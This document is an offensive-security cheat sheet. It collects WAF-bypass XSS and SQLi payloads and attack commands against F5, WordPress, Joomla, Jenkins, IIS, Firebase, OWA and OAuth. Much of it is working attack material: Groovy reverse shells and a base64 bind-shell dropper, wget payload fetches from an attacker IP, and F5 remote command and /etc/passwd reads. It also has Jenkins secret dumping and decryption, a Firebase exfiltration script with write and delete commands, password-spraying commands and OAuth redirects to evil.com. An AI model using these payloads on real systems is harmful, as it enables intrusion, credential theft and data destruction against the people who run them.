- XSS
<details ontoggle=alert(document.cookie)>
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">

# ModSecurity
- XSS
<scr%00ipt>alert(document.cookie)</scr%00ipt>
onmouseover%0B=
ontoggle%0B%3D
<b/%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35mouseover=alert(“123”)>
- SQLi
1+uni%0Bon+se%0Blect+1,2,3

# Imperva Incapsula
https://medium.com/@0xpegg/imperva-waf-bypass-96360189c3c5
url.com/search?search=%3E%3C/span%3E%3Cp%20onmouseover=%27p%3D%7E%5B%5D%3Bp%3D%7B%5F%5F%5F%3A%2B%2Bp%2C%24%24%24%24%3A%28%21%5B%5D%2B%22%22%29%5Bp%5D%2C%5F%5F%24%3A%2B%2Bp%2C%24%5F%24%5F%3A%28%21%5B%5D%2B%22%22%29%5Bp%5D%2C%5F%24%5F%3A%2B%2Bp%2C%24%5F%24%24%3A%28%7B%7D%2B%22%22%29%5Bp%5D%2C%24%24%5F%24%3A%28p%5Bp%5D%2B%22%22%29%5Bp%5D%2C%5F%24%24%3A%2B%2Bp%2C%24%24%24%5F%3A%28%21%22%22%2B%22%22%29%5Bp%5D%2C%24%5F%5F%3A%2B%2Bp%2C%24%5F%24%3A%2B%2Bp%2C%24%24%5F%5F%3A%28%7B%7D%2B%22%22%29%5Bp%5D%2C%24%24%5F%3A%2B%2Bp%2C%24%24%24%3A%2B%2Bp%2C%24%5F%5F%5F%3A%2B%2Bp%2C%24%5F%5F%24%3A%2B%2Bp%7D%3Bp%2E%24%5F%3D%28p%2E%24%5F%3Dp%2B%22%22%29%5Bp%2E%24%5F%24%5D%2B%28p%2E%5F%24%3Dp%2E%24%5F%5Bp%2E%5F%5F%24%5D%29%2B%28p%2E%24%24%3D%28p%2E%24%2B%22%22%29%5Bp%2E%5F%5F%24%5D%29%2B%28%28%21p%29%2B%22%22%29%5Bp%2E%5F%24%24%5D%2B%28p%2E%5F%5F%3Dp%2E%24%5F%5Bp%2E%24%24%5F%5D%29%2B%28p%2E%24%3D%28%21%22%22%2B%22%22%29%5Bp%2E%5F%5F%24%5D%29%2B%28p%2E%5F%3D%28%21%22%22%2B%22%22%29%5Bp%2E%5F%24%5F%5D%29%2Bp%2E%24%5F%5Bp%2E%24%5F%24%5D%2Bp%2E%5F%5F%2Bp%2E%5F%24%2Bp%2E%24%3Bp%2E%24%24%3Dp%2E%24%2B%28%21%22%22%2B%22%22%29%5Bp%2E%5F%24%24%5D%2Bp%2E%5F%5F%2Bp%2E%5F%2Bp%2E%24%2Bp%2E%24%24%3Bp%2E%24%3D%28p%2E%5F%5F%5F%29%5Bp%2E%24%5F%5D%5Bp%2E%24%5F%5D%3Bp%2E%24%28p%2E%24%28p%2E%24%24%2B%22%5C%22%22%2Bp%2E%24%5F%24%5F%2B%28%21%5B%5D%2B%22%22%29%5Bp%2E%5F%24%5F%5D%2Bp%2E%24%24%24%5F%2B%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%24%24%5F%2Bp%2E%5F%24%5F%2Bp%2E%5F%5F%2B%22%28%5C%5C%5C%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%5F%5F%24%2Bp%2E%5F%5F%5F%2Bp%2E%24%24%24%5F%2B%28%21%5B%5D%2B%22%22%29%5Bp%2E%5F%24%5F%5D%2B%28%21%5B%5D%2B%22%22%29%5Bp%2E%5F%24%5F%5D%2Bp%2E%5F%24%2B%22%2C%5C%5C%22%2Bp%2E%24%5F%5F%2Bp%2E%5F%5F%5F%2B%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%5F%5F%24%2Bp%2E%5F%24%5F%2Bp%2E%24%5F%24%5F%2B%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%24%24%5F%2Bp%2E%24%24%5F%2Bp%2E%24%5F%24%5F%2B%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%5F%24%5F%2Bp%2E%5F%24%24%2Bp%2E%24%24%5F%5F%2B%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%24%24%5F%2Bp%2E%5F%24%5F%2B%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%24%5F%24%2Bp%2E%5F%5F%24%2B%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%24%24%5F%2Bp%2E%5F%5F%5F%2Bp%2E%5F%5F%2B%22%5C%5C%5C%22%5C%5C%22%2Bp%2E%24%5F%5F%2Bp%2E%5F%5F%5F%2B%22%29%22%2B%22%5C%22%22%29%28%29%29%28%29%3B%27%3E
<iframe/onload='this["src"]="javas&Tab;cript:al"+"ert``"';>
<img/src=q onerror='new Function`al\ert\`1\``'>
- Parameter pollution SQLi
http://www.website.com/page.asp?a=nothing'/*&a=*/or/*&a=*/1=1/*&a=*/--+-
http://www.website.com/page.asp?a=nothing'/*&a%00=*/or/*&a=*/1=1/*&a%00=*/--+-
-XSS
%3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%2523x27%3B%2526%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%2526%2523x29%3B%22%3E
<img/src="x"/onerror="[7 char payload goes here]">

# FAIL2BAN SQLi
(SELECT 6037 FROM(SELECT COUNT(*),CONCAT(0x7176706b71,(SELECT (ELT(6037=6037,1))),0x717a717671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

# F5 BigIP
RCE: curl -v -k  'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'
Read File: curl -v -k  'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'
- XSS
<body style="height:1000px" onwheel=alert(“123”)>
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow=alert(“123”)>
<body style="height:1000px" onwheel="[JS-F**k Payload]"> 
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="[JS-F**k Payload]">
(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[]
)[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[
+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![
]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[
]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]
<body style="height:1000px" onwheel="prom%25%32%33%25%32%36x70;t(1)">
<div contextmenu="xss">Right-Click Here<menu id="xss" on-
show="prom%25%32%33%25%32%36x70;t(1)">

# More payloads
https://github.com/Walidhossain010/WAF-bypass-xss-payloads

# Wordfence
<meter onmouseover="alert(1)"
'">><div><meter onmouseover="alert(1)"</div>"
>><marquee loop=1 width=0 onfinish=alert(1)>

# RCE WAF globbing bypass
/usr/bin/cat /etc/passwd ==  /???/???/c?t$IFS/???/p?s?w?
cat /etc$u/p*s*wd$u
```

![](/files/-MIIrIqJDFcjRCxmlZfX)

![](/files/-MTo2ISjtWr4ZFuH8cMT)


# Firebird

## Tools

```
# https://github.com/InfosecMatter/Scripts/blob/master/firebird-bruteforce.sh 
./firebird\_bruteforce.sh IP DB /PATH/pwdlist.txt

# https://www.infosecmatter.com/firebird-database-exploitation/
apt-get -y install firebird3.0-utils
isql-fb
```


# Wordpress

## Tools

```
# https://github.com/wpscanteam/wpscan
wpscan --url https://url.com


# https://github.com/Chocapikk/wpprobe
wpprobe scan -u https://target.com/ --mode hybrid
```

```
# Check IP behing WAF:
https://blog.nem.ec/2020/01/22/discover-cloudflare-wordpress-ip/

# SQLi in WP and can't crack users hash:
1. Request password reset.
2. Go to site.com/wp-login.php?action=rp&key={ACTIVATION_KEY}&login={USERNAME}

# XMLRPC
# https://github.com/nullfil3/xmlrpc-scan
# https://github.com/relarizky/wpxploit
# https://nitesculucian.github.io/2019/07/01/exploiting-the-xmlrpc-php-on-all-wordpress-versions/

# pingback.xml:
<?xml version="1.0" encoding="iso-8859-1"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
 <param>
  <value>
   <string>http://10.0.0.1/hello/world</string>
  </value>
 </param>
 <param>
  <value>
   <string>https://10.0.0.1/hello/world/</string>
  </value>
 </param>
</params>
</methodCall>

<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

# List methods:
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

curl -X POST -d @pingback.xml https://exmaple.com/xmlrpc.php

# Evidence xmlrpc:
curl -d '<?xml version="1.0" encoding="iso-8859-1"?><methodCall><methodName>demo.sayHello</methodName><params/></methodCall>' -k https://example.com/xmlrpc.php

# Enum User:
for i in {1..50}; do curl -s -L -i https://example.com/wordpress?author=$i | grep -E -o "Location:.*" | awk -F/ '{print $NF}'; done
site.com/wp-json/wp/v2/users/

```


# WebDav

```
davtest -cleanup -url http://target
cadaver http://target
```


# Joomla

```bash
# Joomscan
joomscan -u  http://10.11.1.111 
joomscan -u  http://10.11.1.111 --enumerate-components

# Juumla
#https://github.com/0xdsm/juumla
python3 main.py -u https://example.com

droopescan scan joomla -u http://10.11.1.111
python3 cmseek.py -u domain.com
vulnx -u https://example.com/ --cms --dns -d -w -e
python3 cmsmap.py https://www.example.com -F

# nmap http-Joomla-brute

# Check common files
README.txt
htaccess.txt
web.config.txt
configuration.php
LICENSE.txt
administrator
administrator/index.php # Default admin login
index.php?option=<nameofplugin>
administrator/manifests/files/joomla.xml
plugins/system/cache/cache.xml
```


# Jenkins

```
# Tools
# dump_builds, offline_decryption & password_spraying
# https://github.com/gquere/pwn_jenkins
# https://github.com/Accenture/jenkins-attack-framework

# URL's to check
JENKINSIP/PROJECT//securityRealm/user/admin
JENKINSIP/jenkins/script

# Groovy RCE
def process = "cmd /c whoami".execute();println "${process.text}";

# Groovy RevShell
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```

## Common bugs

### Deserialization RCE in old Jenkins (CVE-2015-8103, Jenkins 1.638 and older)

Use [ysoserial](https://github.com/frohoff/ysoserial) to generate a payload. Then RCE using [this script](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_cve-2015-8103_deser.py):

```bash
java -jar ysoserial-master.jar CommonsCollections1 'wget myip:myport -O /tmp/a.sh' > payload.out
./jenkins_rce.py jenkins_ip jenkins_port payload.out
```

### Authentication/ACL bypass (CVE-2018-1000861, Jenkins <2.150.1)

Details [here](https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html).

If the Jenkins requests authentication but returns valid data using the following request, it is vulnerable:

```bash
curl -k -4 -s https://example.com/securityRealm/user/admin/search/index?q=a
```

### Metaprogramming RCE in Jenkins Plugins (CVE-2019-1003000, CVE-2019-1003001, CVE-2019-1003002)

Original RCE vulnerability [here](https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html), full exploit [here](https://github.com/petercunha/jenkins-rce).

Alternative RCE with Overall/Read and Job/Configure permissions [here](https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc).

### CheckScript RCE in Jenkins (CVE-2019-1003029, CVE-2019-1003030)

Check if a Jenkins instance is vulnerable (needs Overall/Read permissions) with some Groovy:

```bash
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){sleep(5000)}}'
```

Execute arbitrary bash commands:

```bash
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){"wget xx.xx.xx.xx/bla.txt".execute()}}'
```

If you don't immediately get a reverse shell you can debug by throwing an exception:

```bash
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){def proc="id".execute();def os=new StringBuffer();proc.waitForProcessOutput(os, System.err);throw new Exception(os.toString())}}'
```

### Git plugin (<3.12.0) RCE in Jenkins (CVE-2019-10392)

This one will only work is a user has the 'Jobs/Configure' rights in the security matrix, so it's very specific.

### Dumping builds to find cleartext secrets

Use [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) to dump build console outputs and build environment variables to hopefully find cleartext secrets.

```
usage: jenkins_dump_builds.py [-h] [-u USER] [-p PASSWORD] [-o OUTPUT_DIR]
                              [-l] [-r] [-d] [-s] [-v]
                              url [url ...]

Dump all available info from Jenkins

positional arguments:
  url

optional arguments:
  -h, --help            show this help message and exit
  -u USER, --user USER
  -p PASSWORD, --password PASSWORD
  -o OUTPUT_DIR, --output-dir OUTPUT_DIR
  -l, --last            Dump only the last build of each job
  -r, --recover_from_failure
                        Recover from server failure, skip all existing
                        directories
  -d, --downgrade_ssl   Downgrade SSL to use RSA (for legacy)
  -s, --no_use_session  Don't reuse the HTTP session, but create a new one for
                        each request (for legacy)
  -v, --verbose         Debug mode
```

### Password spraying

Use [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py).

### Files to copy after compromising

These files are needed to decrypt Jenkins secrets:

* secrets/master.key
* secrets/hudson.util.Secret

Such secrets can usually be found in:

* credentials.xml
* jobs/.../build.xml

Here's a regexp to find them:

```bash
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
```

### Decrypt Jenkins secrets offline

Use [this script](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) to decrypt previously dumped secrets.

```
Usage:
    jenkins_offline_decrypt.py <jenkins_base_path>
or:
    jenkins_offline_decrypt.py <master.key> <hudson.util.Secret> [credentials.xml]
or:
    jenkins_offline_decrypt.py -i <path> (interactive mode)
```

### Groovy Scripts

### Decrypt Jenkins secrets from Groovy

```java
println(hudson.util.Secret.decrypt("{...}"))
```

### Command execution from Groovy

```java
def proc = "id".execute();
def os = new StringBuffer();
proc.waitForProcessOutput(os, System.err);
println(os.toString());
```

For multiline shell commands, use the following shell syntax trick (example includes bind shell):

```java
def proc="sh -c \$@|sh . echo /bin/echo f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAzgAAAAAAAAAkAQAAAAAAAAAQAAAAAAAAailYmWoCX2oBXg8FSJdSxwQkAgD96UiJ5moQWmoxWA8FajJYDwVIMfZqK1gPBUiXagNeSP/OaiFYDwV19mo7WJlIuy9iaW4vc2gAU0iJ51JXSInmDwU= | base64 -d > /tmp/65001".execute();
```

Automate it using [this script](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py).

### Reverse shell from Groovy

```java
String host="myip";
int port=1234;
String cmd="/bin/bash";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```

I'll leave this reverse shell tip to recover a fully working PTY here in case anyone needs it:

```bash
python -c 'import pty; pty.spawn("/bin/bash")'
^Z bg
stty -a
echo $TERM
stty raw -echo
fg
export TERM=...
stty rows xx columns yy
```


# IIS

```
# Reminder:
Case insensitive
IIS Shortname
VIEWSTATE deserialization RCE gadget
Web.config upload tricks
Debug mode w/ detailed stack traces and full path
Debugging scripts often deployed (ELMAH, Trace)
Telerik RCE

# ViewState:
https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC

# WebResource.axd:
https://github.com/inquisb/miscellaneous/blob/master/ms10-070_check.py

# ShortNames
https://github.com/irsdl/IIS-ShortName-Scanner
java -jar iis_shortname_scanner.jar 2 20 http://domain.es
https://github.com/bitquark/shortscan
https://github.com/sw33tLie/sns


# Padding Oracle Attack:
# https://github.com/KishanBagaria/padding-oracle-attacker
npm install --global padding-oracle-attacker
padding-oracle-attacker decrypt  hex:   [options]
padding-oracle-attacker decrypt  b64:   [options]
padding-oracle-attacker encrypt              [options]
padding-oracle-attacker encrypt  hex:    [options]
padding-oracle-attacker analyze  [] [options]
# https://github.com/liquidsec/pyOracle2

# Look for web.config or web.xml
https://x.x.x.x/.//WEB-INF/web.xml

# ASP - force error paths
/con/
/aux/
con.aspx
aux.aspx

# HTTPAPI 2.0 404 Error
Change Host header to correct subdomain
Add to /etc/hosts
Scan again including IIS Shortnames

# IIS 7
IIS Short Name scanner
HTTP.sys DOS RCE

# ViewState
# https://github.com/0xacb/viewgen
```


# VHosts

## Tools

```
# https://github.com/jobertabma/virtual-host-discovery
ruby scan.rb --ip=192.168.1.101 --host=domain.tld

# https://github.com/dariusztytko/vhosts-sieve
python3 vhosts-sieve.py -d domains.txt -o vhosts.txt

# Enum vhosts
fierce -dns example.com

# https://github.com/codingo/VHostScan
VHostScan -t example.com
```

## Techniques

```
# ffuf
badresponse=$(curl -s -H "host: totallynotexistsforsure.bugcrowd.com" https://bugcrowd.com | wc -c)
ffuf -u https://TARGET.com -H "Host: FUZZ.TARGET.com" -w werdlists/dns-hostnames/nmap-vhosts-all.txt -fs $badresponse

# Manual with subdomains list
for sub in $(cat subdomains.txt); do
			echo "$sub $(dig +short a $sub | tail -n1)" | anew -q subdomains_ips.txt
done

```


# Firebase

## Overview

Firebase is a Backend-as-a-Service (BaaS) platform by Google. Misconfigurations can lead to data exposure, unauthorized access, and account takeover.

## Common Misconfigurations

### Insecure Realtime Database

```bash
# Test for open database (no authentication required)
curl https://PROJECT-ID.firebaseio.com/.json

# If returns data = VULNERABLE
# If returns "Permission Denied" = properly configured

# Test for write access
curl -X PUT -d '{"test": "data"}' https://PROJECT-ID.firebaseio.com/test.json

# Test with shallow query (list keys only)
curl "https://PROJECT-ID.firebaseio.com/.json?shallow=true"
```

### Insecure Cloud Firestore

```bash
# Firestore uses different URL pattern
# Testing requires Firebase SDK or REST API with proper auth

# Check if Firestore rules allow public read
# In Firebase Console: Firestore Database > Rules
# Vulnerable rule:
# match /{document=**} {
#   allow read, write: if true;
# }
```

### Insecure Storage Buckets

```bash
# Firebase Storage uses Google Cloud Storage
# Bucket name format: PROJECT-ID.appspot.com

# Test public access
gsutil ls gs://PROJECT-ID.appspot.com/

# Or via HTTP
curl "https://firebasestorage.googleapis.com/v0/b/PROJECT-ID.appspot.com/o"

# List all files
curl "https://firebasestorage.googleapis.com/v0/b/PROJECT-ID.appspot.com/o?maxResults=1000"

# Download specific file
curl "https://firebasestorage.googleapis.com/v0/b/PROJECT-ID.appspot.com/o/FILENAME?alt=media"
```

## Enumeration

### Finding Firebase Projects

```bash
# From APK
apktool d app.apk
grep -r "firebaseio.com" app/
grep -r "firebaseapp.com" app/
grep -r "appspot.com" app/

# Common files containing Firebase config
# - google-services.json (Android)
# - GoogleService-Info.plist (iOS)
# - firebase-config.js (Web)

# Extract from google-services.json
cat google-services.json | jq '.project_info.firebase_url'
cat google-services.json | jq '.project_info.storage_bucket'

# From JavaScript files
grep -Eo "[a-z0-9-]+\.firebaseio\.com" *.js
grep -Eo "apiKey.*AIza[A-Za-z0-9_-]{35}" *.js
```

### API Key Extraction

```bash
# Firebase API keys are often exposed (they're meant to be public)
# But combined with misconfigurations, they can be dangerous

# Pattern: AIza followed by 35 chars
grep -rEo "AIza[A-Za-z0-9_-]{35}" .

# Project ID pattern
grep -rEo "[a-z0-9-]{5,30}\.firebaseapp\.com" .

# Full config extraction
grep -rEo '"apiKey"\s*:\s*"AIza[A-Za-z0-9_-]{35}"' .
```

## Exploitation

### Database Data Exfiltration

```python
#!/usr/bin/env python3
import requests
import json

base_url = "https://PROJECT-ID.firebaseio.com"

# Get all data
response = requests.get(f"{base_url}/.json")
if response.status_code == 200:
    data = response.json()
    print(json.dumps(data, indent=2))

# Get shallow keys first (for large databases)
response = requests.get(f"{base_url}/.json?shallow=true")
keys = response.json().keys()

# Then enumerate each collection
for key in keys:
    response = requests.get(f"{base_url}/{key}.json")
    print(f"\n=== {key} ===")
    print(json.dumps(response.json(), indent=2))
```

### Authentication Bypass

```bash
# If Firebase Auth is misconfigured, you might be able to:

# 1. Create accounts without email verification
# 2. Access authenticated endpoints without proper tokens
# 3. Enumerate user accounts

# Test anonymous authentication
curl -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=API_KEY" \
  -H "Content-Type: application/json" \
  -d '{"returnSecureToken":true}'

# This returns an idToken if anonymous auth is enabled
```

### Write Access Exploitation

```bash
# If write access is open, you can:

# 1. Modify existing data
curl -X PATCH -d '{"admin": true}' \
  "https://PROJECT-ID.firebaseio.com/users/victim.json"

# 2. Delete data
curl -X DELETE "https://PROJECT-ID.firebaseio.com/sensitive_data.json"

# 3. Add malicious content (for XSS if data is reflected)
curl -X PUT -d '{"content": "<script>alert(1)</script>"}' \
  "https://PROJECT-ID.firebaseio.com/posts/malicious.json"
```

### Cloud Functions Exploitation

```bash
# Firebase Cloud Functions can have vulnerabilities

# Find function endpoints
# Usually: https://REGION-PROJECT-ID.cloudfunctions.net/FUNCTION_NAME

# Test for:
# - Missing authentication
# - Input validation issues
# - SSRF via user-controlled URLs
# - Command injection

# Enumerate functions from Firebase config
# Check firebase.json in source code
```

## Tools

```bash
# Automated Firebase scanner
# https://github.com/Turr0n/firebase
python3 firebase.py -p 4 --dnsdumpster -l file

# Firebase Exploit
# https://github.com/MuhammadKhizerJaved/Insecure-Firebase-Exploit
python3 Firebase_Exploit.py

# Firebase Extractor
# https://github.com/viperbluff/Firebase-Extractor
python3 firebase.py xyz.firebaseio.com

# Baserunner - Firebase security assessment
# https://github.com/iosiro/baserunner
baserunner -c config.json

# Fireward - Firebase security rules tester
# https://github.com/nickmomrik/fireward
```

## Python Connector

```python
# https://github.com/thisbejim/Pyrebase
import pyrebase

config = {
  "apiKey": "FIREBASE_API_KEY",
  "authDomain": "PROJECT-ID.firebaseapp.com",
  "databaseURL": "https://PROJECT-ID.firebaseio.com",
  "storageBucket": "PROJECT-ID.appspot.com",
}

firebase = pyrebase.initialize_app(config)
db = firebase.database()

# Read all data
print(db.get().val())

# Read specific path
print(db.child("users").get().val())

# Write data (if allowed)
db.child("test").set({"key": "value"})
```

## Security Rules Analysis

```javascript
// Insecure rules (VULNERABLE)
{
  "rules": {
    ".read": true,
    ".write": true
  }
}

// Slightly better but still risky
{
  "rules": {
    ".read": "auth != null",
    ".write": "auth != null"
  }
}

// Proper rules (per-user data)
{
  "rules": {
    "users": {
      "$uid": {
        ".read": "$uid === auth.uid",
        ".write": "$uid === auth.uid"
      }
    }
  }
}
```

## Reporting Findings

When reporting Firebase misconfigurations:

1. **Data Exposure**: Document what data is accessible (PII, credentials, etc.)
2. **Write Access**: Demonstrate ability to modify data (use test entries)
3. **Impact**: Explain business impact (data breach, service disruption)
4. **Remediation**: Recommend proper security rules

## Resources

* [Firebase Security Rules Documentation](https://firebase.google.com/docs/rules)
* [Firebase Security Checklist](https://firebase.google.com/support/guides/security-checklist)
* [OWASP Mobile Security Testing Guide - Firebase](https://mas.owasp.org/MASTG/)


# OWA

## Tools

```
# https://github.com/dafthack/MailSniper
# Spraying toolkit: https://github.com/byt3bl33d3r/SprayingToolkit
Invoke-PasswordSprayOWA -ExchHostName mail.r-1x.com -UserList C:\users.txt -Password Dakota2019! -OutFile C:\creds.txt -Threads 10
python3 atomizer.py owa mail.r-1x.com 'Dakota2019!' ../users.txt

# https://github.com/gremwell/o365enum
./o365enum.py -u users.txt -p Password2 -n 1

# https://github.com/mdsecactivebreach/o365-attack-toolkit

```

## Bypasses

```
# UserName Recon/Password Spraying - http://www.blackhillsinfosec.com/?p=4694
# Password Spraying MFA/2FA - http://www.blackhillsinfosec.com/?p=5089
# Password Spraying/GlobalAddressList - http://www.blackhillsinfosec.com/?p=5330
# Outlook 2FA Bypass - http://www.blackhillsinfosec.com/?p=5396
# Malicious Outlook Rules - https://silentbreaksecurity.com/malicious-outlook-rules/
# Outlook Rules in Action - http://www.blackhillsinfosec.com/?p=5465

Name Conventions:
- FirstnameLastinitial
- FirstnameLastname
- Lastname.firstname
```


# OAuth

For attacks only go to [OAuth/PKCE Attacks](/enumeration/web/oauth-attacks)

## Explanation

```
# OAuth 2.0
https://oauth.net/2/
https://oauth.net/2/grant-types/authorization-code/

Flow:

1. MyWeb tried integrate with Twitter.
2. MyWeb request to Twitter if you authorize.
3. Prompt with a consent.
4. Once accepted Twitter send request redirect_uri with code and state.
5. MyWeb take code and it's own client_id and client_secret and ask server for access_token.
6. MyWeb call Twitter API with access_token.

Definitions:

- resource owner: The resource owner is the user/entity granting access to their protected resource, such as their Twitter account Tweets
- resource server: The resource server is the server handling authenticated requests after the application has obtained an access token on behalf of the resource owner . In the above example, this would be https://twitter.com
- client application: The client application is the application requesting authorization from the resource owner. In this example, this would be https://yourtweetreader.com.
- authorization server: The authorization server is the server issuing access tokens to the client application after successfully authenticating the resource owner and obtaining authorization. In the above example, this would be https://twitter.com
- client_id: The client_id is the identifier for the application. This is a public, non-secret unique identifier.
- client_secret: The client_secret is a secret known only to the application and the authorization server. This is used to generate access_tokens
- response_type: The response_type is a value to detail which type of token is being requested, such as code
- scope: The scope is the requested level of access the client application is requesting from the resource owner
- redirect_uri: The redirect_uri  is the URL the user is redirected to after the authorization is  complete. This usually must match the redirect URL that you have  previously registered with the service
- state: The state  parameter can persist data between the user being directed to the  authorization server and back again. It’s important that this is a  unique value as it serves as a CSRF protection mechanism if it contains a  unique or random value per request
- grant_type: The grant_type parameter explains what the grant type is, and which token is going to be returned
- code: This code is the authorization code received from the authorization server which will be in the query string parameter “code” in this request. This code is used in conjunction with the client_id and client_secret by the client application to fetch an access_token
- access_token: The access_token is the token that the client application uses to make API requests on behalf of a resource owner
- refresh_token: The refresh_token allows an application to obtain a new access_token without prompting the user
```

## Bugs

```
# Weak redirect_uri
1. Alter the redirect_uri URL with TLD aws.console.amazon.com/myservice -> aws.console.amazon.com
2. Finish OAuth flow and check if you're redirected to the TLD, then is vulnerable
3. Check your redirect is not to Referer header or other param

https://yourtweetreader.com/callback?redirectUrl=https://evil.com
https://www.target01.com/api/OAUTH/?next=https://www.target01.com//evil.com/
https://www.target01.com/api/OAUTH?next=https://www.target01.com%09.evil.com
https://www.target01.com/api/OAUTH/?next=https://www.target01.com%252e.evil.com
https://www.target01.com/api/OAUTH/?next=https://www.target01.com/project/team
http://target02.com/oauth?redirect_uri=https://evil.com[.target02.com/
https://www.target01.com/api/OAUTH/?next=https://yourtweetreader.com.evil.com
https://www.target.com/endpoint?u=https://EVILtwitter.com/

ffuf -w words.txt -u https://www.target.com/endpoint?u=https://www.FUZZ.com/ 

# Path traversal: https://yourtweetreader.com/callback/../redirect?url=https://evil.com

# HTML Injection and stealing tokens via referer header
Check referer header in the requests for sensitive info
   
# Access Token Stored in Browser History
Check browser history for sensitive info

# Improper handling of state parameter
Check lack of state parameter and is in url params and is passed to all the flow
Verifying State entropy
Check state is not reused
Remove state and URI and check request is invalid

# Access Token Stored in JavaScript

# Lack of verification
If not email verification is needed in account creation, register before the victim.
If not email verification in Oauth signing, register other app before the victim.

# Access token passed in request body
If the access token is passed in the request body at the time of allocating the access token to the web application there arises an attack scenario. 
An attacker can create a web application and register for an Oauth framework with a provider such as twitter or facebook. The attacker uses it as a malicious app for gaining access tokens. 
For example, a Hacker can build his own facebook app and get victim’s facebook access token and use that access token to login into victim account.

# Reusability of an Oauth access token
Replace the new Oauth access token with the old one and continue to the application. This should not be the case and is considered as a very bad practice.
```

## OAuth resources

```
https://owasp.org/www-pdf-archive/20151215-Top_X_OAuth_2_Hacks-asanso.pdf
https://medium.com/@lokeshdlk77/stealing-facebook-mailchimp-application-oauth-2-0-access-token-3af51f89f5b0
https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1
https://gauravnarwani.com/misconfigured-oauth-to-account-takeover/
https://medium.com/@Jacksonkv22/oauth-misconfiguration-lead-to-complete-account-takeover-c8e4e89a96a
https://medium.com/@logicbomb_1/bugbounty-user-account-takeover-i-just-need-your-email-id-to-login-into-your-shopping-portal-7fd4fdd6dd56
https://medium.com/@protector47/full-account-takeover-via-referrer-header-oauth-token-steal-open-redirect-vulnerability-chaining-324a14a1567
https://hackerone.com/reports/49759
https://hackerone.com/reports/131202
https://hackerone.com/reports/6017
